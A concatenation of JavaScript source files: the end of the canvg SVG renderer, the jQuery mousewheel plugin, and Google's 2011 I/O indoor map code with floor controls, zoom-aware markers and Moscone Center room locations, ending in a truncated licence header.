if (bb.isPointInBox(e.x, e.y)) this.eventElements[i] = element;
}
}
this.runEvents = function() {
svg.ctx.canvas.style.cursor = '';
for (var i=0; i<this.events.length; i++) {
var e = this.events[i];
var element = this.eventElements[i];
while (element) {
e.run(element);
element = element.parent;
}
}
// done running, clear
this.events = [];
this.eventElements = [];
}
});
return svg;
}
})();
if (CanvasRenderingContext2D) {
CanvasRenderingContext2D.prototype.drawSvg = function(s, dx, dy, dw, dh) {
canvg(this.canvas, s, {
ignoreMouse: true,
ignoreAnimation: true,
ignoreDimensions: true,
ignoreClear: true,
offsetX: dx,
offsetY: dy,
scaleWidth: dw,
scaleHeight: dh
});
}
} | JavaScript |
/*! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net)
* Licensed under the MIT License (LICENSE.txt).
*
* Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.
* Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.
* Thanks to: Seamus Leahy for adding deltaX and deltaY
*
* Version: 3.0.6
*
* Requires: 1.2.2+
*/
(function($) {
var types = ['DOMMouseScroll', 'mousewheel'];
if ($.event.fixHooks) {
for ( var i=types.length; i; ) {
$.event.fixHooks[ types[--i] ] = $.event.mouseHooks;
}
}
$.event.special.mousewheel = {
setup: function() {
if ( this.addEventListener ) {
for ( var i=types.length; i; ) {
this.addEventListener( types[--i], handler, false );
}
} else {
this.onmousewheel = handler;
}
},
teardown: function() {
if ( this.removeEventListener ) {
for ( var i=types.length; i; ) {
this.removeEventListener( types[--i], handler, false );
}
} else {
this.onmousewheel = null;
}
}
};
$.fn.extend({
mousewheel: function(fn) {
return fn ? this.bind("mousewheel", fn) : this.trigger("mousewheel");
},
unmousewheel: function(fn) {
return this.unbind("mousewheel", fn);
}
});
function handler(event) {
var orgEvent = event || window.event, args = [].slice.call( arguments, 1 ), delta = 0, returnValue = true, deltaX = 0, deltaY = 0;
event = $.event.fix(orgEvent);
event.type = "mousewheel";
// Old school scrollwheel delta
if ( orgEvent.wheelDelta ) { delta = orgEvent.wheelDelta/120; }
if ( orgEvent.detail ) { delta = -orgEvent.detail/3; }
// New school multidimensional scroll (touchpads) deltas
deltaY = delta;
// Gecko
if ( orgEvent.axis !== undefined && orgEvent.axis === orgEvent.HORIZONTAL_AXIS ) {
deltaY = 0;
deltaX = -1*delta;
}
// Webkit
if ( orgEvent.wheelDeltaY !== undefined ) { deltaY = orgEvent.wheelDeltaY/120; }
if ( orgEvent.wheelDeltaX !== undefined ) { deltaX = -1*orgEvent.wheelDeltaX/120; }
// Add event and delta to the front of the arguments
args.unshift(event, delta, deltaX, deltaY);
return ($.event.dispatch || $.event.handle).apply(this, args);
}
})(jQuery);
| JavaScript |
/**
* Creates a new Floor.
* @constructor
* @param {google.maps.Map=} opt_map
*/
function Floor(opt_map) {
/**
* @type Array.<google.maps.MVCObject>
*/
this.overlays_ = [];
/**
* @type boolean
*/
this.shown_ = true;
if (opt_map) {
this.setMap(opt_map);
}
}
/**
* @param {google.maps.Map} map
*/
Floor.prototype.setMap = function(map) {
this.map_ = map;
};
/**
* @param {google.maps.MVCObject} overlay For example, a Marker or MapLabel.
* Requires a setMap method.
*/
Floor.prototype.addOverlay = function(overlay) {
if (!overlay) return;
this.overlays_.push(overlay);
overlay.setMap(this.shown_ ? this.map_ : null);
};
/**
* Sets the map on all the overlays
* @param {google.maps.Map} map The map to set.
*/
Floor.prototype.setMapAll_ = function(map) {
this.shown_ = !!map;
for (var i = 0, overlay; overlay = this.overlays_[i]; i++) {
overlay.setMap(map);
}
};
/**
* Hides the floor and all associated overlays.
*/
Floor.prototype.hide = function() {
this.setMapAll_(null);
};
/**
* Shows the floor and all associated overlays.
*/
Floor.prototype.show = function() {
this.setMapAll_(this.map_);
};
| JavaScript |
/**
* Creates a new level control.
* @constructor
* @param {IoMap} iomap the IO map controller.
* @param {Array.<string>} levels the levels to create switchers for.
*/
function LevelControl(iomap, levels) {
var that = this;
this.iomap_ = iomap;
this.el_ = this.initDom_(levels);
google.maps.event.addListener(iomap, 'level_changed', function() {
that.changeLevel_(iomap.get('level'));
});
}
/**
* Gets the DOM element for the control.
* @return {Element}
*/
LevelControl.prototype.getElement = function() {
return this.el_;
};
/**
* Creates the necessary DOM for the control.
* @return {Element}
*/
LevelControl.prototype.initDom_ = function(levelDefinition) {
var controlDiv = document.createElement('DIV');
controlDiv.setAttribute('id', 'levels-wrapper');
var levels = document.createElement('DIV');
levels.setAttribute('id', 'levels');
controlDiv.appendChild(levels);
var levelSelect = this.levelSelect_ = document.createElement('DIV');
levelSelect.setAttribute('id', 'level-select');
levels.appendChild(levelSelect);
this.levelDivs_ = [];
var that = this;
for (var i = 0, level; level = levelDefinition[i]; i++) {
var div = document.createElement('DIV');
div.innerHTML = 'Level ' + level;
div.setAttribute('id', 'level-' + level);
div.className = 'level';
levels.appendChild(div);
this.levelDivs_.push(div);
google.maps.event.addDomListener(div, 'click', function(e) {
var id = e.currentTarget.getAttribute('id');
var level = parseInt(id.replace('level-', ''), 10);
that.iomap_.setHash('level' + level);
});
}
controlDiv.index = 1;
return controlDiv;
};
/**
* Changes the highlighted level in the control.
* @param {number} level the level number to select.
*/
LevelControl.prototype.changeLevel_ = function(level) {
if (this.currentLevelDiv_) {
this.currentLevelDiv_.className =
this.currentLevelDiv_.className.replace(' level-selected', '');
}
var h = 25;
if (window['ioEmbed']) {
h = (window.screen.availWidth > 600) ? 34 : 24;
}
this.levelSelect_.style.top = 9 + ((level - 1) * h) + 'px';
var div = this.levelDivs_[level - 1];
div.className += ' level-selected';
this.currentLevelDiv_ = div;
};
| JavaScript |
/**
* @license
*
* Copyright 2011 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @fileoverview SmartMarker.
*
* @author Chris Broadfoot (cbro@google.com)
*/
/**
* A google.maps.Marker that has some smarts about the zoom levels it should be
* shown.
*
* Options are the same as google.maps.Marker, with the addition of minZoom and
* maxZoom. These zoom levels are inclusive. That is, a SmartMarker with
* a minZoom and maxZoom of 13 will only be shown at zoom level 13.
* @constructor
* @extends google.maps.Marker
* @param {Object=} opts Same as MarkerOptions, plus minZoom and maxZoom.
*/
function SmartMarker(opts) {
var marker = new google.maps.Marker;
// default min/max Zoom - shows the marker all the time.
marker.setValues({
'minZoom': 0,
'maxZoom': Infinity
});
// the current listener (if any), triggered on map zoom_changed
var mapZoomListener;
google.maps.event.addListener(marker, 'map_changed', function() {
if (mapZoomListener) {
google.maps.event.removeListener(mapZoomListener);
}
var map = marker.getMap();
if (map) {
var listener = SmartMarker.newZoomListener_(marker);
mapZoomListener = google.maps.event.addListener(map, 'zoom_changed',
listener);
// Call the listener straight away. The map may already be initialized,
// so it will take user input for zoom_changed to be fired.
listener();
}
});
marker.setValues(opts);
return marker;
}
window['SmartMarker'] = SmartMarker;
/**
* Creates a new listener to be triggered on 'zoom_changed' event.
* Hides and shows the target Marker based on the map's zoom level.
* @param {google.maps.Marker} marker The target marker.
* @return Function
*/
SmartMarker.newZoomListener_ = function(marker) {
var map = marker.getMap();
return function() {
var zoom = map.getZoom();
var minZoom = Number(marker.get('minZoom'));
var maxZoom = Number(marker.get('maxZoom'));
marker.setVisible(zoom >= minZoom && zoom <= maxZoom);
};
};
| JavaScript |
// Copyright 2011 Google
/**
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* The Google IO Map
* @constructor
*/
var IoMap = function() {
var moscone = new google.maps.LatLng(37.78313383211993, -122.40394949913025);
/** @type {Node} */
this.mapDiv_ = document.getElementById(this.MAP_ID);
var ioStyle = [
{
'featureType': 'road',
stylers: [
{ hue: '#00aaff' },
{ gamma: 1.67 },
{ saturation: -24 },
{ lightness: -38 }
]
},{
'featureType': 'road',
'elementType': 'labels',
stylers: [
{ invert_lightness: true }
]
}];
/** @type {boolean} */
this.ready_ = false;
/** @type {google.maps.Map} */
this.map_ = new google.maps.Map(this.mapDiv_, {
zoom: 18,
center: moscone,
navigationControl: true,
mapTypeControl: false,
scaleControl: true,
mapTypeId: 'io',
streetViewControl: false
});
var style = /** @type {*} */(new google.maps.StyledMapType(ioStyle));
this.map_.mapTypes.set('io', /** @type {google.maps.MapType} */(style));
google.maps.event.addListenerOnce(this.map_, 'tilesloaded', function() {
if (window['MAP_CONTAINER'] !== undefined) {
window['MAP_CONTAINER']['onMapReady']();
}
});
/** @type {Array.<Floor>} */
this.floors_ = [];
for (var i = 0; i < this.LEVELS_.length; i++) {
this.floors_.push(new Floor(this.map_));
}
this.addLevelControl_();
this.addMapOverlay_();
this.loadMapContent_();
this.initLocationHashWatcher_();
if (!document.location.hash) {
this.showLevel(1, true);
}
}
IoMap.prototype = new google.maps.MVCObject;
/**
* The id of the Element to add the map to.
*
* @type {string}
* @const
*/
IoMap.prototype.MAP_ID = 'map-canvas';
/**
* The levels of the Moscone Center.
*
* @type {Array.<string>}
* @private
*/
IoMap.prototype.LEVELS_ = ['1', '2', '3'];
/**
* Location where the tiles are hosted.
*
* @type {string}
* @private
*/
IoMap.prototype.BASE_TILE_URL_ =
'http://www.gstatic.com/io2010maps/tiles/5/';
/**
* The minimum zoom level to show the overlay.
*
* @type {number}
* @private
*/
IoMap.prototype.MIN_ZOOM_ = 16;
/**
* The maximum zoom level to show the overlay.
*
* @type {number}
* @private
*/
IoMap.prototype.MAX_ZOOM_ = 20;
/**
* The template for loading tiles. Replace {L} with the level, {Z} with the
* zoom level, {X} and {Y} with respective tile coordinates.
*
* @type {string}
* @private
*/
IoMap.prototype.TILE_TEMPLATE_URL_ = IoMap.prototype.BASE_TILE_URL_ +
'L{L}_{Z}_{X}_{Y}.png';
/**
* @type {string}
* @private
*/
IoMap.prototype.SIMPLE_TILE_TEMPLATE_URL_ =
IoMap.prototype.BASE_TILE_URL_ + '{Z}_{X}_{Y}.png';
/**
* The extent of the overlay at certain zoom levels.
*
* @type {Object.<string, Array.<Array.<number>>>}
* @private
*/
IoMap.prototype.RESOLUTION_BOUNDS_ = {
16: [[10484, 10485], [25328, 25329]],
17: [[20969, 20970], [50657, 50658]],
18: [[41939, 41940], [101315, 101317]],
19: [[83878, 83881], [202631, 202634]],
20: [[167757, 167763], [405263, 405269]]
};
/**
* The previous hash to compare against.
*
* @type {string?}
* @private
*/
IoMap.prototype.prevHash_ = null;
/**
* Initialise the location hash watcher.
*
* @private
*/
IoMap.prototype.initLocationHashWatcher_ = function() {
var that = this;
if ('onhashchange' in window) {
window.addEventListener('hashchange', function() {
that.parseHash_();
}, true);
} else {
var that = this
window.setInterval(function() {
that.parseHash_();
}, 100);
}
this.parseHash_();
};
/**
* Called from Android.
*
* @param {Number} x A percentage to pan left by.
*/
IoMap.prototype.panLeft = function(x) {
var div = this.map_.getDiv();
var left = div.clientWidth * x;
this.map_.panBy(left, 0);
};
IoMap.prototype['panLeft'] = IoMap.prototype.panLeft;
/**
* Adds the level switcher to the top left of the map.
*
* @private
*/
IoMap.prototype.addLevelControl_ = function() {
var control = new LevelControl(this, this.LEVELS_).getElement();
this.map_.controls[google.maps.ControlPosition.TOP_LEFT].push(control);
};
/**
* Shows a floor based on the content of location.hash.
*
* @private
*/
IoMap.prototype.parseHash_ = function() {
var hash = document.location.hash;
if (hash == this.prevHash_) {
return;
}
this.prevHash_ = hash;
var level = 1;
if (hash) {
var match = hash.match(/level(\d)(?:\:([\w-]+))?/);
if (match && match[1]) {
level = parseInt(match[1], 10);
}
}
this.showLevel(level, true);
};
/**
* Updates location.hash based on the currently shown floor.
*
* @param {string?} opt_hash
*/
IoMap.prototype.setHash = function(opt_hash) {
var hash = document.location.hash.substring(1);
if (hash == opt_hash) {
return;
}
if (opt_hash) {
document.location.hash = opt_hash;
} else {
document.location.hash = 'level' + this.get('level');
}
};
IoMap.prototype['setHash'] = IoMap.prototype.setHash;
/**
* Called from spreadsheets.
*/
IoMap.prototype.loadSandboxCallback = function(json) {
var updated = json['feed']['updated']['$t'];
var contentItems = [];
var ids = {};
var entries = json['feed']['entry'];
for (var i = 0, entry; entry = entries[i]; i++) {
var item = {};
item.companyName = entry['gsx$companyname']['$t'];
item.companyUrl = entry['gsx$companyurl']['$t'];
var p = entry['gsx$companypod']['$t'];
item.pod = p;
p = p.toLowerCase().replace(/\s+/, '');
item.sessionRoom = p;
contentItems.push(item);
};
this.sandboxItems_ = contentItems;
this.ready_ = true;
this.addMapContent_();
};
/**
* Called from spreadsheets.
*
* @param {Object} json The json feed from the spreadsheet.
*/
IoMap.prototype.loadSessionsCallback = function(json) {
var updated = json['feed']['updated']['$t'];
var contentItems = [];
var ids = {};
var entries = json['feed']['entry'];
for (var i = 0, entry; entry = entries[i]; i++) {
var item = {};
item.sessionDate = entry['gsx$sessiondate']['$t'];
item.sessionAbstract = entry['gsx$sessionabstract']['$t'];
item.sessionHashtag = entry['gsx$sessionhashtag']['$t'];
item.sessionLevel = entry['gsx$sessionlevel']['$t'];
item.sessionTitle = entry['gsx$sessiontitle']['$t'];
item.sessionTrack = entry['gsx$sessiontrack']['$t'];
item.sessionUrl = entry['gsx$sessionurl']['$t'];
item.sessionYoutubeUrl = entry['gsx$sessionyoutubeurl']['$t'];
item.sessionTime = entry['gsx$sessiontime']['$t'];
item.sessionRoom = entry['gsx$sessionroom']['$t'];
item.sessionTags = entry['gsx$sessiontags']['$t'];
item.sessionSpeakers = entry['gsx$sessionspeakers']['$t'];
if (item.sessionDate.indexOf('10') != -1) {
item.sessionDay = 10;
} else {
item.sessionDay = 11;
}
var timeParts = item.sessionTime.split('-');
item.sessionStart = this.convertTo24Hour_(timeParts[0]);
item.sessionEnd = this.convertTo24Hour_(timeParts[1]);
contentItems.push(item);
}
this.sessionItems_ = contentItems;
};
/**
* Converts the time in the spread sheet to 24 hour time.
*
* @param {string} time The time like 10:42am.
*/
IoMap.prototype.convertTo24Hour_ = function(time) {
var pm = time.indexOf('pm') != -1;
time = time.replace(/[am|pm]/ig, '');
if (pm) {
var bits = time.split(':');
var hr = parseInt(bits[0], 10);
if (hr < 12) {
time = (hr + 12) + ':' + bits[1];
}
}
return time;
};
/**
* Loads the map content from Google Spreadsheets.
*
* @private
*/
IoMap.prototype.loadMapContent_ = function() {
// Initiate a JSONP request.
var that = this;
// Add a exposed call back function
window['loadSessionsCallback'] = function(json) {
that.loadSessionsCallback(json);
}
// Add a exposed call back function
window['loadSandboxCallback'] = function(json) {
that.loadSandboxCallback(json);
}
var key = 'tmaLiaNqIWYYtuuhmIyG0uQ';
var worksheetIDs = {
sessions: 'od6',
sandbox: 'od4'
};
var jsonpUrl = 'http://spreadsheets.google.com/feeds/list/' +
key + '/' + worksheetIDs.sessions + '/public/values' +
'?alt=json-in-script&callback=loadSessionsCallback';
var script = document.createElement('script');
script.setAttribute('src', jsonpUrl);
script.setAttribute('type', 'text/javascript');
document.documentElement.firstChild.appendChild(script);
var jsonpUrl = 'http://spreadsheets.google.com/feeds/list/' +
key + '/' + worksheetIDs.sandbox + '/public/values' +
'?alt=json-in-script&callback=loadSandboxCallback';
var script = document.createElement('script');
script.setAttribute('src', jsonpUrl);
script.setAttribute('type', 'text/javascript');
document.documentElement.firstChild.appendChild(script);
};
/**
* Called from Android.
*
* @param {string} roomId The id of the room to load.
*/
IoMap.prototype.showLocationById = function(roomId) {
var locations = this.LOCATIONS_;
for (var level in locations) {
var levelId = level.replace('LEVEL', '');
for (var loc in locations[level]) {
var room = locations[level][loc];
if (loc == roomId) {
var pos = new google.maps.LatLng(room.lat, room.lng);
this.map_.panTo(pos);
this.map_.setZoom(19);
this.showLevel(levelId);
if (room.marker_) {
room.marker_.setAnimation(google.maps.Animation.BOUNCE);
// Disable the animation after 5 seconds.
window.setTimeout(function() {
room.marker_.setAnimation();
}, 5000);
}
return;
}
}
}
};
IoMap.prototype['showLocationById'] = IoMap.prototype.showLocationById;
/**
* Called when the level is changed. Hides and shows floors.
*/
IoMap.prototype['level_changed'] = function() {
var level = this.get('level');
if (this.infoWindow_) {
this.infoWindow_.setMap(null);
}
for (var i = 1, floor; floor = this.floors_[i - 1]; i++) {
if (i == level) {
floor.show();
} else {
floor.hide();
}
}
this.setHash('level' + level);
};
/**
* Shows a particular floor.
*
* @param {string} level The level to show.
* @param {boolean=} opt_force if true, changes the floor even if it's already
* the current floor.
*/
IoMap.prototype.showLevel = function(level, opt_force) {
if (!opt_force && level == this.get('level')) {
return;
}
this.set('level', level);
};
IoMap.prototype['showLevel'] = IoMap.prototype.showLevel;
/**
* Create a marker with the content item's correct icon.
*
* @param {Object} item The content item for the marker.
* @return {google.maps.Marker} The new marker.
* @private
*/
IoMap.prototype.createContentMarker_ = function(item) {
if (!item.icon) {
item.icon = 'generic';
}
var image;
var shadow;
switch(item.icon) {
case 'generic':
case 'info':
case 'media':
var image = new google.maps.MarkerImage(
'marker-' + item.icon + '.png',
new google.maps.Size(30, 28),
new google.maps.Point(0, 0),
new google.maps.Point(13, 26));
var shadow = new google.maps.MarkerImage(
'marker-shadow.png',
new google.maps.Size(30, 28),
new google.maps.Point(0,0),
new google.maps.Point(13, 26));
break;
case 'toilets':
var image = new google.maps.MarkerImage(
item.icon + '.png',
new google.maps.Size(35, 35),
new google.maps.Point(0, 0),
new google.maps.Point(17, 17));
break;
case 'elevator':
var image = new google.maps.MarkerImage(
item.icon + '.png',
new google.maps.Size(48, 26),
new google.maps.Point(0, 0),
new google.maps.Point(24, 13));
break;
}
var inactive = item.type == 'inactive';
var latLng = new google.maps.LatLng(item.lat, item.lng);
var marker = new SmartMarker({
position: latLng,
shadow: shadow,
icon: image,
title: item.title,
minZoom: inactive ? 19 : 18,
clickable: !inactive
});
marker['type_'] = item.type;
if (!inactive) {
var that = this;
google.maps.event.addListener(marker, 'click', function() {
that.openContentInfo_(item);
});
}
return marker;
};
/**
* Create a label with the content item's title atribute, if it exists.
*
* @param {Object} item The content item for the marker.
* @return {MapLabel?} The new label.
* @private
*/
IoMap.prototype.createContentLabel_ = function(item) {
if (!item.title || item.suppressLabel) {
return null;
}
var latLng = new google.maps.LatLng(item.lat, item.lng);
return new MapLabel({
'text': item.title,
'position': latLng,
'minZoom': item.labelMinZoom || 18,
'align': item.labelAlign || 'center',
'fontColor': item.labelColor,
'fontSize': item.labelSize || 12
});
}
/**
* Open a info window a content item.
*
* @param {Object} item A content item with content and a marker.
*/
IoMap.prototype.openContentInfo_ = function(item) {
if (window['MAP_CONTAINER'] !== undefined) {
window['MAP_CONTAINER']['openContentInfo'](item.room);
return;
}
var sessionBase = 'http://www.google.com/events/io/2011/sessions.html';
var now = new Date();
var may11 = new Date('May 11, 2011');
var day = now < may11 ? 10 : 11;
var type = item.type;
var id = item.id;
var title = item.title;
var content = ['<div class="infowindow">'];
var sessions = [];
var empty = true;
if (item.type == 'session') {
if (day == 10) {
content.push('<h3>' + title + ' - Tuesday May 10</h3>');
} else {
content.push('<h3>' + title + ' - Wednesday May 11</h3>');
}
for (var i = 0, session; session = this.sessionItems_[i]; i++) {
if (session.sessionRoom == item.room && session.sessionDay == day) {
sessions.push(session);
empty = false;
}
}
sessions.sort(this.sortSessions_);
for (var i = 0, session; session = sessions[i]; i++) {
content.push('<div class="session"><div class="session-time">' +
session.sessionTime + '</div><div class="session-title"><a href="' +
session.sessionUrl + '">' +
session.sessionTitle + '</a></div></div>');
}
}
if (item.type == 'sandbox') {
var sandboxName;
for (var i = 0, sandbox; sandbox = this.sandboxItems_[i]; i++) {
if (sandbox.sessionRoom == item.room) {
if (!sandboxName) {
sandboxName = sandbox.pod;
content.push('<h3>' + sandbox.pod + '</h3>');
content.push('<div class="sandbox">');
}
content.push('<div class="sandbox-items"><a href="http://' +
sandbox.companyUrl + '">' + sandbox.companyName + '</a></div>');
empty = false;
}
}
content.push('</div>');
empty = false;
}
if (empty) {
return;
}
content.push('</div>');
var pos = new google.maps.LatLng(item.lat, item.lng);
if (!this.infoWindow_) {
this.infoWindow_ = new google.maps.InfoWindow();
}
this.infoWindow_.setContent(content.join(''));
this.infoWindow_.setPosition(pos);
this.infoWindow_.open(this.map_);
};
/**
* A custom sort function to sort the sessions by start time.
*
* @param {string} a SessionA<enter description here>.
* @param {string} b SessionB.
* @return {boolean} True if sessionA is after sessionB.
*/
IoMap.prototype.sortSessions_ = function(a, b) {
var aStart = parseInt(a.sessionStart.replace(':', ''), 10);
var bStart = parseInt(b.sessionStart.replace(':', ''), 10);
return aStart > bStart;
};
/**
* Adds all overlays (markers, labels) to the map.
*/
IoMap.prototype.addMapContent_ = function() {
if (!this.ready_) {
return;
}
for (var i = 0, level; level = this.LEVELS_[i]; i++) {
var floor = this.floors_[i];
var locations = this.LOCATIONS_['LEVEL' + level];
for (var roomId in locations) {
var room = locations[roomId];
if (room.room == undefined) {
room.room = roomId;
}
if (room.type != 'label') {
var marker = this.createContentMarker_(room);
floor.addOverlay(marker);
room.marker_ = marker;
}
var label = this.createContentLabel_(room);
floor.addOverlay(label);
}
}
};
/**
* Gets the correct tile url for the coordinates and zoom.
*
* @param {google.maps.Point} coord The coordinate of the tile.
* @param {Number} zoom The current zoom level.
* @return {string} The url to the tile.
*/
IoMap.prototype.getTileUrl = function(coord, zoom) {
// Ensure that the requested resolution exists for this tile layer.
if (this.MIN_ZOOM_ > zoom || zoom > this.MAX_ZOOM_) {
return '';
}
// Ensure that the requested tile x,y exists.
if ((this.RESOLUTION_BOUNDS_[zoom][0][0] > coord.x ||
coord.x > this.RESOLUTION_BOUNDS_[zoom][0][1]) ||
(this.RESOLUTION_BOUNDS_[zoom][1][0] > coord.y ||
coord.y > this.RESOLUTION_BOUNDS_[zoom][1][1])) {
return '';
}
var template = this.TILE_TEMPLATE_URL_;
if (16 <= zoom && zoom <= 17) {
template = this.SIMPLE_TILE_TEMPLATE_URL_;
}
return template
.replace('{L}', /** @type string */(this.get('level')))
.replace('{Z}', /** @type string */(zoom))
.replace('{X}', /** @type string */(coord.x))
.replace('{Y}', /** @type string */(coord.y));
};
/**
* Add the floor overlay to the map.
*
* @private
*/
IoMap.prototype.addMapOverlay_ = function() {
var that = this;
var overlay = new google.maps.ImageMapType({
getTileUrl: function(coord, zoom) {
return that.getTileUrl(coord, zoom);
},
tileSize: new google.maps.Size(256, 256)
});
google.maps.event.addListener(this, 'level_changed', function() {
var overlays = that.map_.overlayMapTypes;
if (overlays.length) {
overlays.removeAt(0);
}
overlays.push(overlay);
});
};
/**
* All the features of the map.
* @type {Object.<string, Object.<string, Object.<string, *>>>}
*/
IoMap.prototype.LOCATIONS_ = {
'LEVEL1': {
'northentrance': {
lat: 37.78381535905965,
lng: -122.40362226963043,
title: 'Entrance',
type: 'label',
labelColor: '#006600',
labelAlign: 'left',
labelSize: 10
},
'eastentrance': {
lat: 37.78328434094279,
lng: -122.40319311618805,
title: 'Entrance',
type: 'label',
labelColor: '#006600',
labelAlign: 'left',
labelSize: 10
},
'lunchroom': {
lat: 37.783112633669575,
lng: -122.40407556295395,
title: 'Lunch Room'
},
'restroom1a': {
lat: 37.78372420652042,
lng: -122.40396961569786,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'elevator1a': {
lat: 37.783669090977035,
lng: -122.40389987826347,
icon: 'elevator',
type: 'inactive',
title: 'Elevators',
suppressLabel: true
},
'gearpickup': {
lat: 37.78367863020862,
lng: -122.4037617444992,
title: 'Gear Pickup',
type: 'label'
},
'checkin': {
lat: 37.78334369645064,
lng: -122.40335404872894,
title: 'Check In',
type: 'label'
},
'escalators1': {
lat: 37.78353872135503,
lng: -122.40336209535599,
title: 'Escalators',
type: 'label',
labelAlign: 'left'
}
},
'LEVEL2': {
'escalators2': {
lat: 37.78353872135503,
lng: -122.40336209535599,
title: 'Escalators',
type: 'label',
labelAlign: 'left',
labelMinZoom: 19
},
'press': {
lat: 37.78316774962791,
lng: -122.40360751748085,
title: 'Press Room',
type: 'label'
},
'restroom2a': {
lat: 37.7835334217721,
lng: -122.40386635065079,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'restroom2b': {
lat: 37.78250317562106,
lng: -122.40423113107681,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'elevator2a': {
lat: 37.783669090977035,
lng: -122.40389987826347,
icon: 'elevator',
type: 'inactive',
title: 'Elevators',
suppressLabel: true
},
'1': {
lat: 37.78346240732338,
lng: -122.40415401756763,
icon: 'media',
title: 'Room 1',
type: 'session',
room: '1'
},
'2': {
lat: 37.78335005596647,
lng: -122.40431495010853,
icon: 'media',
title: 'Room 2',
type: 'session',
room: '2'
},
'3': {
lat: 37.783215446097124,
lng: -122.404490634799,
icon: 'media',
title: 'Room 3',
type: 'session',
room: '3'
},
'4': {
lat: 37.78332461789977,
lng: -122.40381203591824,
icon: 'media',
title: 'Room 4',
type: 'session',
room: '4'
},
'5': {
lat: 37.783186828219335,
lng: -122.4039850383997,
icon: 'media',
title: 'Room 5',
type: 'session',
room: '5'
},
'6': {
lat: 37.783013000871364,
lng: -122.40420497953892,
icon: 'media',
title: 'Room 6',
type: 'session',
room: '6'
},
'7': {
lat: 37.7828783903882,
lng: -122.40438133478165,
icon: 'media',
title: 'Room 7',
type: 'session',
room: '7'
},
'8': {
lat: 37.78305009820564,
lng: -122.40378588438034,
icon: 'media',
title: 'Room 8',
type: 'session',
room: '8'
},
'9': {
lat: 37.78286673120095,
lng: -122.40402393043041,
icon: 'media',
title: 'Room 9',
type: 'session',
room: '9'
},
'10': {
lat: 37.782719401312626,
lng: -122.40420028567314,
icon: 'media',
title: 'Room 10',
type: 'session',
room: '10'
},
'appengine': {
lat: 37.783362774996625,
lng: -122.40335941314697,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'App Engine'
},
'chrome': {
lat: 37.783730566003555,
lng: -122.40378990769386,
type: 'sandbox',
icon: 'generic',
title: 'Chrome'
},
'googleapps': {
lat: 37.783303419504094,
lng: -122.40320384502411,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
title: 'Apps'
},
'geo': {
lat: 37.783365954753805,
lng: -122.40314483642578,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
title: 'Geo'
},
'accessibility': {
lat: 37.783414711013485,
lng: -122.40342646837234,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'Accessibility'
},
'developertools': {
lat: 37.783457107734876,
lng: -122.40347877144814,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'Dev Tools'
},
'commerce': {
lat: 37.78349102509448,
lng: -122.40351900458336,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'Commerce'
},
'youtube': {
lat: 37.783537661438515,
lng: -122.40358605980873,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'YouTube'
},
'officehoursfloor2a': {
lat: 37.78249045644304,
lng: -122.40410104393959,
title: 'Office Hours',
type: 'label'
},
'officehoursfloor2': {
lat: 37.78266852473624,
lng: -122.40387573838234,
title: 'Office Hours',
type: 'label'
},
'officehoursfloor2b': {
lat: 37.782844472747406,
lng: -122.40365579724312,
title: 'Office Hours',
type: 'label'
}
},
'LEVEL3': {
'escalators3': {
lat: 37.78353872135503,
lng: -122.40336209535599,
title: 'Escalators',
type: 'label',
labelAlign: 'left'
},
'restroom3a': {
lat: 37.78372420652042,
lng: -122.40396961569786,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'restroom3b': {
lat: 37.78250317562106,
lng: -122.40423113107681,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'elevator3a': {
lat: 37.783669090977035,
lng: -122.40389987826347,
icon: 'elevator',
type: 'inactive',
title: 'Elevators',
suppressLabel: true
},
'keynote': {
lat: 37.783250423488326,
lng: -122.40417748689651,
icon: 'media',
title: 'Keynote',
type: 'label'
},
'11': {
lat: 37.78283069370135,
lng: -122.40408763289452,
icon: 'media',
title: 'Room 11',
type: 'session',
room: '11'
},
'googletv': {
lat: 37.7837125474666,
lng: -122.40362092852592,
type: 'sandbox',
icon: 'generic',
title: 'Google TV'
},
'android': {
lat: 37.783530242022124,
lng: -122.40358874201775,
type: 'sandbox',
icon: 'generic',
title: 'Android'
},
'officehoursfloor3': {
lat: 37.782843412820846,
lng: -122.40365579724312,
title: 'Office Hours',
type: 'label'
},
'officehoursfloor3a': {
lat: 37.78267170452323,
lng: -122.40387842059135,
title: 'Office Hours',
type: 'label'
}
}
};
google.maps.event.addDomListener(window, 'load', function() {
window['IoMap'] = new IoMap();
});
| JavaScript |
/**
* @license
*
* Copyright 2011 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
